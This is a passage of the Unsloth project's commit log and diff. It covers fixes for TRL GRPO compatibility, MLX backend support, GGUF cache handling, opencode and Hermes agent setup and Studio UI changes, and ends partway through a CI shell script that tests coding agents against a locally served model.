enable_input_require_grads() block. Neutralize TRL 1.7.0's
`if _is_quantized_model:` bf16 cast the same way the existing
is_loaded_in_4bit cast is handled.

rl_replacements.py: initialize _extra_moe_kwargs before use (it was
referenced before assignment whenever compute_aux_loss was passed) and only
request output_router_logits when the aux loss is actually wanted.

rl_replacements.py: _get_per_token_logps_and_entropies now returns a 3-tuple
(logps, entropies, aux_loss) for trl >= 1.7.0 and a 2-tuple for older TRL,
matching how every TRL call site unpacks the result. Without this, TRL 1.7.x
_generate_and_score_completions unpacks 3 values from a 2-tuple and raises
"not enough values to unpack (expected 3, got 2)".

* Return zero aux_loss placeholder and drop inference-mode aux collection

* GRPO TRL >= 1.7.0: reject router aux-loss opt-in at init; drop zero aux placeholder

Unsloth's optimized GRPO forward cannot compute the MoE router auxiliary loss.
Previously an explicit opt-in (router_aux_loss_coef > 0) returned a fabricated
zero, silently training without the requested load-balancing penalty. Now reject
it at trainer init with a clear NotImplementedError, and return None (not zero)
for the aux slot of TRL's 3-tuple. Default stays off (coef 0), so the common
path is unaffected.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO hidden-states fallback: free ModelOutput before chunked log-softmax

The old/ref logprob fallback binds the full ModelOutput (which holds every
layer's hidden_states when output_hidden_states=True) and kept it alive across
chunked_hidden_states_selective_log_softmax, an avoidable OOM on large models.
Extract logits then del outputs in both the text and VLM branches.

* Version-compat CI: proactively catch TRL GRPO breakage

The existing TRL canary is a static symbol/source grep: it verifies symbols
exist but is blind to structural changes (TRL 1.7.0's 2->3-tuple per-token-logps
return arity and restructured PEFT ref-adapter block, which the fix in this PR
addresses, both slipped past it because the methods still existed).

Two additions:
- test_trl_grpo_pinned_symbols.py: extend TRL_TAGS to 1.5/1.6/1.7 and pin the
  exact source-string contracts the rl.py / rl_replacements.py transforms depend
  on for TRL >= 1.7.0 (PEFT elif ref-adapter block + enable_input_require_grads
  survival, if _is_quantized_model, aux_loss_enabled anchor, compute_aux_loss
  arity). A future TRL change fails on main a few days before the PyPI release.
- test_trl_grpo_fake_run.py + a version-compat-ci job: fake-CUDA run that drives
  the real GRPO/SFT/DPO source-transform patchers against latest + main TRL on a
  CPU-only runner (no training) and asserts the generated Unsloth trainer still
  satisfies the transform contracts. Catches behavioral regressions the grep
  cannot see.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fake-run test: use a normal Version import for the aux gate

* version-compat CI: fix fake-run job gate + torch-absent collection

- Drop the invalid job-level matrix if (matrix is not available in
  jobs.<id>.if -> 'Unrecognized named-value: matrix' fails the whole
  workflow). Use a single job that runs vs TRL latest always and re-runs
  vs TRL main only on schedule/dispatch via a step-level github.event_name
  guard. Validated with actionlint.
- Module-level skip the fake-run test when torch is absent so
  daily-fresh-fetch (pytest-only, collects tests/version_compat/) does not
  crash on the top-level spoof import.

* fake-run test: do not skip on import failure

unsloth/trl are installed in the grpo-fake-run job, so a failing import is the
import-time drift this canary must catch. Keep only the not-installed find_spec
skips; let a real import error fail the test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO arity gate: regex downgrade + fail loud + CI coverage

The TRL < 1.7.0 per-token-logps return downgrade was an exact-string replace
anchored on the full return line incl. its comment, so a reformat (e.g.
pre-commit) could silently no-op it and ship a 3-tuple to older TRL. Switch to
a regex tolerant of comment/whitespace drift, and raise if the anchor stops
matching (re.subn count != 1) instead of failing silently. Add a monkeypatched
trl_version unit test asserting both arities, since CI only installs TRL >= 1.7.0
and never exercised the downgrade otherwise.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fake-run: give SFT/DPO a real contract, not just ast-parse

The SFT/DPO fake patch runs only checked the generated trainer parses. Also
assert the shared QLoRA _is_quantized_model bf16 cast is neutralized (TRL 1.7's
spelling, present in both sft_trainer and dpo_trainer), so a structural TRL
change to that block is caught for SFT/DPO too, not just GRPO.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO PEFT ref-adapter removal: lower gate to the TRL 1.4.0 floor

The elif is_peft_model(model) and args.beta != 0.0: ref-adapter block was
introduced in TRL 1.4.0 and is unchanged through 1.7.x, but the removal was
gated at >= 1.7.0, so for 1.4 <= TRL < 1.7 the transform fell through to the
0.27 branch (which matches the older if is_peft_available()... form) and
silently no-oped: a PEFT + beta != 0 GRPO run then computed the KL reference
from the copied ref adapter instead of the base model. Lower the gate to
1.4.0 and keep the 1.7.0-only router aux-loss fail-fast nested. Widen the
pinned-symbol contract test to run from 1.4.0 so the covered versions are
actually exercised.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-08 04:05:03 -07:00
Long Yixing
934f879043
feat(mlx): route trainer callbacks (#6929) 2026-07-08 03:25:50 -07:00
Long Yixing
2a6abe2ff5
feat(cli): support MLX distributed inference (#6845)
* feat(cli): detect MLX distributed launch context

* feat(mlx): wire distributed inference backend

* feat(cli): broadcast MLX distributed chat turns

* fix(cli): wait indefinitely for distributed chat turns

* fix(cli): report MLX distributed load errors cleanly

* fix(mlx): route distributed vlm through loader

* fix(cli): detect inline MLX host JSON

* fix(studio): harden distributed object sharing

* fix(studio): select JACCL distributed backend

* fix(cli): abort distributed error paths

* Distinguish real stream errors from model text via GenStreamError in distributed CLI

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fail loud when MLX distributed init returns a singleton group

The worker only reaches this block when distributed was explicitly
requested. A singleton (size 1) group means the launch failed to form a
real group (MLX built without distributed support, or an invalid launch
env/hostfile); silently continuing leaves nonzero ranks looping forever
on share_distributed_object. Raise instead so the surrounding handler
returns a clear load error.

* Tighten MLX distributed inference comments

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-08 03:25:39 -07:00
Long Yixing
38dacb8a1f
Add MLX backend support for CLI unsloth train (#6709)
* feat(studio): route CLI trainer to MLX backend

* fix(studio): harden MLX trainer routing

* fix(studio): harden MLX trainer adapter routing

* test(studio): assert MLX CLI activation order

* fix(studio): address MLX CLI review feedback

* feat(cli): support MLX in legacy script

* fix(cli): adapt MLX tokenizer for raw text

* fix(cli): omit unsupported MLX eval batch arg

* fix(cli): feed raw text to MLX trainer

* Fix CLI MLX routing and Python 3.9 annotations

Route the MLX backend through create_mlx_trainer_adapter so the torch-free
Apple Silicon path never imports trainer.py (torch/unsloth/trl). Replace
from __future__ import annotations with typing.Optional/Union so the CLI
annotations stay Python 3.9 compatible without the unused-import lint hit.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Strip return_tensors from MLX raw-text tokenizer proxy

On a torch-free MLX install, RawTextDataLoader calls the tokenizer with
return_tensors='pt'; the callable proxy forwarded that to the HF
tokenizer, which tried to build torch tensors and failed before
training. Drop return_tensors so the MLX path returns plain token ids.

* Tighten CLI MLX-backend comments

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-08 03:25:26 -07:00
Daniel Han
de60a3a994
Studio: fix currency and indentation edge cases in LaTeX rendering (#6957)
* Studio: fix link, currency and indentation edge cases in LaTeX rendering

Follow-up to #6914. Three fixes to studio/frontend/src/lib/latex.ts:

- Skip reference-link definition URLs ([id]: url) during delimiter
  conversion, so escaped parens in such URLs are not rewritten as math.
- Preserve the opener line's indentation when emitting a display $$ block,
  so a \[...\] inside a list item stays part of the list.
- Stop a currency amount from pairing with a converted span's opening $,
  which swallowed the price into math (for example $5 + x \(y\)).

* Exclude GFM footnote definitions from the reference-URL skip

A footnote definition like [^1]: \(x\) had its body treated as a link
destination, so leading math was left literal. Skip [^...] labels.

* Merge overlapping link destination regions

A reference-def token can nest inline-link spans (for example
[1]: http://h/[a](b)/foo\(x\)), so the combined spans could overlap and
isInRegion's binary search missed the outer one, rewriting the URL. Merge
overlapping spans before the search.

* Guard lineStart when the display opener is at index 0

Behavior is unchanged (lastIndexOf clamps a negative fromIndex to 0), but
the explicit guard avoids relying on that implicit clamp.

* Scope to indentation and currency fixes

Drop the reference-link URL protection added earlier. It guards a case
models effectively never emit (escaped parens in a reference-style URL),
and approximating CommonMark reference definitions with a regex needs
open-ended special-casing. Keep the two high-value fixes: preserve display
math indentation (including multi-line bodies) inside a list item, and stop
a currency amount from pairing with a converted span's opening dollar sign.
2026-07-08 03:13:32 -07:00
Daniel Han
f1a2621631
Studio: show Hugging Face address on hover for Hub and online model rows (#6382) (#6928)
* Studio: show Hugging Face address on hover for Hub and online model rows

The model selector already shows an on-disk path tooltip on local rows,
but Hub and online rows showed only the bare repo id, and nothing at all
when there was no VRAM estimate. Add an optional hubUrl prop and a
hubRepoUrl helper that mirrors localPathTooltip, and surface
huggingface.co/<repo_id> on hover for the Discover, search, and
downloaded Hub rows. Local and VRAM tooltips are unchanged; the VRAM
tooltip now also appends the address line.

Closes #6382

* Studio: use a 700ms hover delay before the model-row tooltip

Give the model-row hover tooltip (the Hugging Face address, plus the VRAM
and local-path lines it shares) a 700ms open delay instead of showing it
instantly, so it does not flash while sweeping the mouse down the list.

* Fix/adjust GGUF tooltips for PR #6928

---------

Co-authored-by: wasimysaid <112766706+wasimysaid@users.noreply.github.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
2026-07-08 03:09:52 -07:00
Lee Jackson
df6b5a57d9
Fix case-variant model matching and GGUF cache reuse in unsloth start (#6900)
* fix: handle case-variant GGUF cache hits for unsloth start

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* gguf cache: keep split shards co-located and isolate cache tests properly

When a cached main shard was reused from an older snapshot, the extra shards
were resolved independently and could come from a different snapshot dir (or a
fresh download into the current ref), leaving llama.cpp unable to load a
multi-shard GGUF whose pieces are split across directories. Only reuse a cached
main shard when every sibling shard sits in the same snapshot; otherwise fetch
the whole set together so they stay co-located.

Also patch huggingface_hub.constants.HF_HUB_CACHE (not just the HF_HUB_CACHE env
var) in the two cache tests that seeded a temp cache: the snapshot lookup reads
the module constant, so the env-only override let the real cache leak in and
skip an asserted download.

* Do not let a companion-only cache snapshot shadow real GGUF variants

When listing GGUF variants from the local HF cache, a newer snapshot may
contain only a companion file (for example a vision projector fetched on
demand) while the actual quant files live in an older snapshot. The prior
scan returned the first snapshot whose vision flag was set, yielding an
empty variant list and hiding the real quants. Keep scanning older
snapshots for actual variants and carry the vision flag across snapshots.

Also record the disk-space fallback variant's size in expected_sizes so
the later cache-reuse probe can size-verify the fallback main shard
instead of only checking for its existence.

* Propagate cached repo casing to companions and preflight split co-location

Two fixes to the case-variant GGUF cache reuse:

- Resolve the requested repo id to its cached canonical casing once in
  load_model, up front, and pass it to the main GGUF and its companions
  (mmproj / MTP drafter). Previously only _download_gguf resolved the
  casing internally, so a case-variant request loaded the main file from
  the canonical cache dir while the companions kept the requested casing
  and missed the cached vision projector / drafter offline. Extracted the
  resolution into a shared _resolve_repo_id_casing helper.

- Apply the split-shard co-location check in the disk-space preflight. When
  a split GGUF's shards are cached across different snapshots the whole set
  is refetched later, so counting them as cached made the preflight read 0
  bytes to download, skip the smaller-variant fallback, and then fail the
  full download on a low-disk machine.

* Reuse a co-located split GGUF snapshot and fix split fallback size probe

- When reusing a cached split GGUF, scan snapshots for one that holds the
  whole set co-located instead of taking the newest snapshot's first shard.
  A newer snapshot with only the first shard no longer shadows an older
  complete snapshot, so an already-cached split model is reused rather than
  refetched (which would fail offline).

- The disk-space fallback records its size in expected_sizes only for a
  single-file fallback. _find_smallest_fitting_variant returns the whole
  variant size, so using it as the first shard's expected size rejected a
  valid cached first shard of a split fallback and forced a re-download.

* Scan for a complete split snapshot in the preflight; require a loaded catalog hit

- The disk-space preflight now uses the same co-located snapshot scan as the
  download path (_cached_colocated_split_main) instead of the newest-snapshot
  probe, so a newer snapshot holding only the first shard no longer masks an
  older complete one and trips the smaller-variant fallback for a fully cached
  split model.

- _resolve_model only attaches to a /v1/models entry that is actually loaded
  (loaded != False). /v1/models also lists cached-but-unloaded catalog entries,
  and matching one by case skipped /api/inference/load and left the agent
  pointed at a model that is not resident.

* Restrict cross-snapshot GGUF cache reuse to offline

Reusing a same-name blob from an older or case-variant snapshot bypasses the
Hub revision/etag check, so a repo that updates a GGUF in place could serve
stale weights online. Gate the cross-snapshot and case-variant reuse (both the
disk-space preflight accounting and the download path) on HF_HUB_OFFLINE.
Online, hf_hub_download fetches the current revision and resumes a partial
download, so the reuse is unnecessary there; offline it remains the resilience
fallback. Marked the two reuse regression tests as the offline scenarios they
represent and added an online test asserting a fresh fetch.

* Harden offline cache reuse and hub-id detection

Three follow-ups on the case-variant GGUF cache path:

- Honor every truthy HF_HUB_OFFLINE spelling (1/true/yes/on), not just "1", when
  gating the cross-snapshot and case-variant cache reuse. With HF_HUB_OFFLINE=true
  the Hub calls are already offline, so the reuse must trigger or the cached GGUF
  fails to load; route both the preflight accounting and the download path through
  the same offline parse the rest of the backend uses.
- Resolve mmproj/MTP companions from the actual cached snapshot when offline.
  resolve_cached_repo_id_case can keep a partial lower-case spelling when any dir
  exists under the requested casing, so an hf_hub_download on that casing misses the
  canonical companion; scan every case-variant snapshot and return the cached path.
- Restrict the case-insensitive model-id match to syntactically valid hub ids
  (a single namespace/name over the HF charset). A server-side relative path such
  as models/Llama/Foo.gguf is no longer treated as a hub id, so it cannot
  casefold-match a differently cased path on a case-sensitive filesystem. This is
  host independent, unlike the local-existence probe which cannot see a server path.

* Only casefold-match model ids against a loopback Studio

A two-segment string like Models/Foo is indistinguishable from a hub id, and the
local Path.exists() probe in _is_hub_model_id cannot see a path that exists only
on a remote Studio host. So against a remote server, casefolding could attach to
a distinct server-side path (Models/Foo vs models/foo) on a case-sensitive
filesystem. Gate the case-insensitive match on is_loopback_url(base): only a
local Studio, where the existence probe is authoritative, casefolds. For a remote
Studio the match is exact and a case-mismatched request falls through to
/api/inference/load, whose already-loaded dedup resolves it correctly.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
2026-07-08 02:32:06 -07:00
oobabooga
a113f893ea
Studio: heal DiffusionGemma tool calls into structured tool_calls (#6851)
* Studio: heal DiffusionGemma tool calls into structured tool_calls

* Fall back to supports_tools for backends without the passthrough capability

* Route DiffusionGemma client tools through passthrough when enable_tools is on

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Drop orphaned strip_tool_call_markup import after syncing with main

* Tighten supports_tool_passthrough comment

* Re-run CI on current main

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-08 02:30:37 -07:00
Lee Jackson
baacbd025d
Fix Hermes install hint on Windows (#6903)
* fix: use Windows Hermes installer from unsloth start

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Skip the Hermes setup wizard during unattended start-install

unsloth start hermes auto-installs Hermes and then writes its own
session-scoped Hermes config. The install commands, as written, drop into
the installer's interactive setup wizard (hermes setup), which prompts for
global API keys and model choice and points the user at a different global
provider than the one Unsloth just configured, blocking the launch.

Pass the installer's skip flag on both platforms: the PowerShell scriptblock
form with -SkipSetup, and bash -s -- --skip-setup for the piped POSIX
installer.

* Refresh PATH from the registry after a Windows agent install

A Windows installer persists the agent's directory to the User/Machine PATH
in the registry and updates only its own process, so the current process
keeps a stale PATH until it restarts (the installers print 'restart your
terminal'). The post-install shutil.which then misses the just-installed
agent and unsloth start fails with 'installed but isn't on PATH yet',
forcing a re-run in a new shell.

Merge the registry PATH hives back into the process before re-resolving so a
freshly installed agent launches in the same invocation. No-op off Windows
and on any read error; only ever augments PATH.

* Fix/adjust PATH refresh for PR #6903

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Co-authored-by: wasimysaid <112766706+wasimysaid@users.noreply.github.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
2026-07-08 02:23:25 -07:00
Lee Jackson
393d7e9c2b
Fix opencode Unsloth provider selection (#6906)
* fix: force Unsloth provider selection for opencode

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* opencode: pin the model without clobbering the user's disabled providers

The session overlay wrote disabled_providers unconditionally and the inline
OPENCODE_CONFIG_CONTENT set disabled_providers to an empty list. Since that
inline layer outranks the user's global and project config and opencode
replaces the array rather than merging it, every provider the user had
disabled was silently re-enabled for the session. Only strip 'unsloth' from an
existing disable list, and drop disabled_providers from the inline config.

Also insert --model only on a bare launch: it is a global flag for the TUI, so
placing it before a passthrough subcommand (serve/run) breaks arg parsing; a
subcommand takes the model from the pinned config instead. Parse the printed
OPENCODE_CONFIG_CONTENT with shlex.split in the test so it round-trips under
POSIX shell quoting.

* Re-enable a globally disabled opencode unsloth provider for the session

A fresh OPENCODE_CONFIG overlay omits disabled_providers, and opencode
replaces that array across config layers only when a higher layer sets the
key, so a user's global disabled_providers of ['unsloth', ...] survived the
merge and left the session provider disabled even though the overlay defines
provider.unsloth and pins the model.

Consult the user's global opencode config (XDG_CONFIG_HOME/opencode, or
%APPDATA%/opencode on Windows) when the overlay has no list of its own, and
when the effective list disables unsloth write it back to the overlay minus
unsloth. The provider loads while the user's other disabled providers stay
disabled. Best-effort read: a missing or unparseable global config is a
no-op.

* Override opencode disabled_providers in the inline layer; keep model flag for TUI flags

Re-enabling a disabled unsloth provider now rides in the inline
OPENCODE_CONFIG_CONTENT layer instead of the session overlay. The overlay
sits below a project opencode.json, which could re-disable the provider; the
inline layer outranks both global and project configs and is recomputed each
run, so no-launch reruns never reuse a stale generated list. The effective
disabled list is read from the project config if the repo sets one, else the
global config, across config.json/opencode.json/opencode.jsonc (JSONC
tolerated), and written back minus unsloth only when unsloth is disabled.

Also keep the pinned --model when the opencode passthrough starts with a
top-level TUI flag such as --dir or --continue; only a real subcommand
(serve/run/...) takes the model from config, so a leading '-' now still gets
--model injected.

* Discover the opencode project config by walking up from the cwd

opencode finds a project config by searching ancestor directories, not just
the cwd. Walk from the cwd up to the filesystem root and use the nearest
directory that sets disabled_providers, so running unsloth start opencode
from a subdirectory of a repo whose root config disables unsloth still gets
the inline override.

* Only inject opencode --model on a bare launch; rely on the inline model pin

Injecting --model whenever the passthrough started with a flag could place it
before a subcommand (e.g. opencode --print-logs serve), which opencode can
misparse. --model is unnecessary for any passthrough because the inline
OPENCODE_CONFIG_CONTENT pins the model in the highest-priority layer, so the
session model is forced without the flag. Restrict --model to the bare launch
and pass any other invocation through untouched.

* Register the session provider under a dedicated OpenCode id

Selecting the Unsloth model reliably required the wrapper to re-enable a
user-disabled unsloth provider, which meant reconstructing OpenCode's full
disabled_providers resolution (global, OPENCODE_CONFIG overlay, project config
discovered via --dir or an ancestor walk, .opencode directories,
OPENCODE_CONFIG_DIR, config.json/opencode.json/opencode.jsonc precedence, and
{env:} variable substitution) and overriding it in the inline layer. That is
unbounded and cannot be kept correct.

Register the session provider under a dedicated id (unsloth-studio) instead. A
user's disabled_providers list would never target it, so the session model is
always selectable and the overlay no longer reads or writes disabled_providers
at all: the user's own disables, in whatever config layer, are left exactly as
they are. This removes the JSONC parser, the config-directory scan, and the
ancestor/global resolution helpers, and the tests that exercised them.

* Scope the opencode session to the Studio provider

opencode filters every provider, including a config-defined custom one, through
its enabled_providers allowlist and disabled_providers denylist, and pinning the
model does not bypass that gate (a filtered provider resolves to a not-found
error). The provider arrays are also replaced, not merged, across config layers.
So a user with an enabled_providers allowlist that omits the session provider
would still have the Studio model filtered out.

Set enabled_providers to just the session provider and clear disabled_providers
in the inline OPENCODE_CONFIG_CONTENT overlay (the highest-priority layer, which
replaces these arrays). This guarantees the Studio model loads regardless of the
user's provider filters, without reading or reconstructing their multi-layer
config. It is session-only: the overlay lives in the env for this launch and
never touches the user's config files, so their normal opencode is unchanged and
only this session is limited to the Studio provider.

Also drop the redundant --model on --no-launch so the printed command stays
append-safe for drivers that append a subcommand (the inline pin forces the
model), and parse both POSIX and PowerShell no-launch output in the opencode
tests so they are not shell-specific.

* Pin opencode small_model to the session provider

The session allowlists only the Studio provider, but opencode's separate
small_model (used for lightweight tasks) could still point at another provider
from the user or project config; under the allowlist that provider is filtered,
so the lightweight task would resolve a not-found error mid-session even with the
main model pinned. Pin small_model to the session model in the same inline
overlay so every model use stays on the enabled provider. The session serves one
model, so it is the only valid target, and this stays session-only like the rest
of the overlay.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
2026-07-08 02:22:36 -07:00
Michael Han
7f9964f21e
Move New badge to System settings tab (#6963)
* Move New badge to System settings tab

Show the "New" badge on the System tab and drop it from Connections.

* Stabilize refresh revocation UI test

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-08 01:51:34 -07:00
Michael Han
e7e6a0fb47
Polish assistant message actions menu (#6962)
* Polish assistant message actions menu

Use the circle question mark (HelpCircleIcon) for the "See response
details" action instead of the file-database icon, and lowercase the
"Export as markdown" label.

* Align response details sheet icon
2026-07-08 01:50:35 -07:00
Wasim Yousef Said
49d1fb3863
Speed up Studio startup path (#6899)
* Speed up Studio startup path

* Studio: recheck managed binary executability on preflight cache hit and ignore stale unauthenticated platform fetches

Preflight: a matching capability cache fingerprint no longer skips the
runnability check when the managed binary's executable bit was cleared
(size and mtime unchanged, since chmod bumps ctime not mtime). The cache
fast path now confirms the binary is still executable, otherwise it falls
back to the CLI help probe so preflight reports Stale and can repair,
instead of returning Ready and failing later at backend start. Adds a
regression test.

Frontend: now that first render is no longer gated on fetchDeviceType,
the initial unauthenticated health call can resolve after an
authenticated platform fetch. Guard the store so a late unauthenticated
or failed non-forced response cannot overwrite an already authoritative
device type, tunnel URL, or secure flag. Forced refreshes and the first
unauthenticated load are unaffected.

* Studio: use access(X_OK) for the preflight cache executability guard

A mode bitmask treats any execute bit as launchable, but the executable
bits can be set only for another owner or group, or be denied by an ACL,
so the current user could still hit PermissionDenied at launch and the
cached fast path would wrongly return Ready. access(X_OK) checks real
executability for the calling user, so an ownership or permission change
correctly falls back to the CLI help probe and the Stale repair path.

* Studio: ignore any stale non-forced platform fetch once authoritative

Extend the platform store guard so a non-forced health response never
overwrites an already authoritative result, not only unauthenticated
ones. With a saved token the post-render non-forced request can be
authenticated but older than a later forced refresh that already picked
up the tunnel URL and secure flag; if that earlier request resolves last
it would null those fields. Now any non-forced response is dropped once
the store holds a server-reported platform. Forced refreshes and the
first authoritative write are unaffected.

* Studio: run the managed CLI help probe before trusting the preflight cache

Restore running the managed CLI help probe before returning Ready from
the desktop capability cache, so a managed install whose venv interpreter
or a runtime dependency is broken (while path, size, mtime, and markers
are unchanged) is reported Stale for repair rather than proceeding to a
backend start that cannot spawn. The capability cache still skips the
heavier desktop-capabilities probe on a hit, so a warm cache runs one
probe instead of two. Removes the executable-access shortcut, which the
help probe now subsumes.

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-07 18:08:07 -07:00
Daniel Han
01b8085dc2
Create ossf.yml (#6952) 2026-07-07 17:10:01 -07:00
oobabooga
a9db53e189
Studio: stream reasoning tokens in the tool-loop generator (fixes DeepSeek thinking not streaming with a pill on) (#6947) 2026-07-07 19:50:40 -03:00
Ayushman
304b8eca7a
fix: match qwen3-thinking double-newline in train_on_responses_only response pattern (#6926)
* fix: match qwen3-thinking chat template double-newline in response pattern

The Qwen3-thinking chat template generates `<think>\n\n` (double newline)
after the think tag, but `train_on_responses_only` was looking for
`<think>\n` (single newline).

`\n\n` is token 271 while `\n` is token 198 -- different tokens, so the
pattern match in `train_on_responses_only` fails, masking ALL tokens and
dropping 100% of training samples.

Update the response pattern from `<think>\n` to `<think>\n\n` to match
what the actual qwen3-thinking template generates.

Fixes #6919

* fix qwen3 thinking response marker

---------

Co-authored-by: Ayushman Paul <ayushman@HP>
Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
2026-07-07 21:28:18 +03:00
oobabooga
93c9d6d0dd
Studio: render \[ \] and \( \) LaTeX delimiters in chat (#6914) 2026-07-07 15:13:53 -03:00
Nilay
07ecdb34c0
Sort chat recents by last activity (#6844)
* show chat by by last activity

* Update chat thread updated_at logic and enhance sidebar chat item handling

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-07 17:54:32 +01:00
Daniel Han
37075c5422
Bump install.sh / install.ps1 pin to unsloth>=2026.7.1 (#6943)
Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-07 07:49:59 -07:00
1308 changed files with 232697 additions and 22785 deletions

2
.gitattributes vendored
View file

@ -6,7 +6,7 @@
# them when run in WSL/Linux (e.g. `set -e` -> "set: Illegal option -").
*.sh text eol=lf
# Normalize Studio frontend sources to LF. Scoped to the frontend tree (rather
# Normalize Unsloth frontend sources to LF. Scoped to the frontend tree (rather
# than repo-wide *.ts/*.tsx/... rules) so the policy can't force LF on files
# elsewhere. text=auto lets Git detect and leave binary assets (logos, fonts)
# untouched while text files (.ts/.tsx/.json/.html/.svg/...) are stored as LF.

View file

@ -36,6 +36,23 @@ AGENT="${2:?usage: agent-guides-drive.sh <mode> <agent>}"
# Determinism (seed/temp) is applied at the server level by
# serve-unsloth-run.sh --extra; agents inherit it through the API.
TIMEOUT="${AGENT_INVOKE_TIMEOUT:-180}"
# opencode is the slow outlier. Unlike the print-mode agents (claude -p, codex
# exec) it runs a full turn AND a separate small_model call to name the session,
# so one connection reply takes ~8 min on a CPU-served 4B -- right at the shared
# 600s cap, so the cell flaked when a run drifted past a ~480s success. Give it
# headroom (still well under the 40-min job budget); the fast agents keep the
# tight cap that still catches a real headless-TTY hang.
case "$AGENT" in
opencode)
# Double it, but only for a bare-integer seconds value. A GNU timeout(1)
# duration suffix (s/m/h/d, including floats like 0.5s) is left unchanged so
# the arithmetic never sees a non-number; timeout(1) parses it directly.
case "$TIMEOUT" in
*[!0-9]*) ;;
*) TIMEOUT=$(( TIMEOUT * 2 )) ;;
esac
;;
esac
# Claude refuses --dangerously-skip-permissions outside a sandbox; the CI runner
# IS the sandbox, so declare it (mirrors unslothai/scripts launcher.sh). Harmless
@ -166,8 +183,8 @@ parse_connect() {
echo "[$AGENT] connect --no-launch printed:"; cat_redacted "$raw"
CONNECT_ENV="$(grep -E '^(export |unset )' "$raw" || true)"
# The launch command is the last non-export, non-status line. start.py
# prints "Studio <url> · model <id>" and "Updated ..." status lines first.
CONNECT_CMD="$(grep -vE '^(export |unset |Studio |Updated |Disabled |Warning|Loading)' "$raw" \
# prints "Unsloth <url> · model <id>" and "Updated ..." status lines first.
CONNECT_CMD="$(grep -vE '^(export |unset |Unsloth |Updated |Disabled |Warning|Loading)' "$raw" \
| grep -E '[^[:space:]]' | tail -1)"
[ -n "$CONNECT_CMD" ] || guide_fail "could not parse a launch command from connect --no-launch output"
redact "$raw"
@ -376,7 +393,7 @@ case "$MODE" in
hermes) patch_hermes_tools none
invoke_via_connect "$OUT" -z "$PROMPT" ;;
openclaw) patch_openclaw_agent notools
invoke_via_connect "$OUT" agent --local --agent ci \
CONNECT_CMD_OVERRIDE=openclaw invoke_via_connect "$OUT" agent --local --agent ci \
--model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;;
*) invoke_via_connect "$OUT" "$PROMPT" ;;
esac
@ -449,7 +466,7 @@ case "$MODE" in
fi ;;
opencode) invoke_via_connect "$out" run "$prompt" ;;
hermes) invoke_via_connect "$out" -z "$prompt" ;;
openclaw) invoke_via_connect "$out" agent --local --agent ci \
openclaw) CONNECT_CMD_OVERRIDE=openclaw invoke_via_connect "$out" agent --local --agent ci \
--model "unsloth/${UNSLOTH_MODEL_ID}" --message "$prompt" ;;
*) invoke_via_connect "$out" "$prompt" ;;
esac
@ -527,6 +544,154 @@ case "$MODE" in
echo "[claude] attribution A/B OK (suppressed HIT, header=1 MISS)"
;;
# ── resume: does a launched agent's session survive exit and resume? ────
# Unlike the other modes, this drives the real LAUNCH path (`unsloth start
# <agent> ...`, the interactive default), not the --no-launch recipe. That
# path relocates each agent's home to a throwaway temp dir wiped on exit, so
# a session cannot be resumed -- unless --persist routes it to the stable
# Unsloth agents dir instead. We run one headless turn per pass and check
# whether the turn left a session in a persistent store (deterministic, no
# reliance on the model recalling anything), for a baseline pass and a
# --persist pass, and assert the expected split for this agent.
resume)
CODEWORD="PLATYPUS7"
T1="Remember this codeword for later: ${CODEWORD}. Reply with just the word OK."
T2="What codeword did I ask you to remember? Reply with just that word."
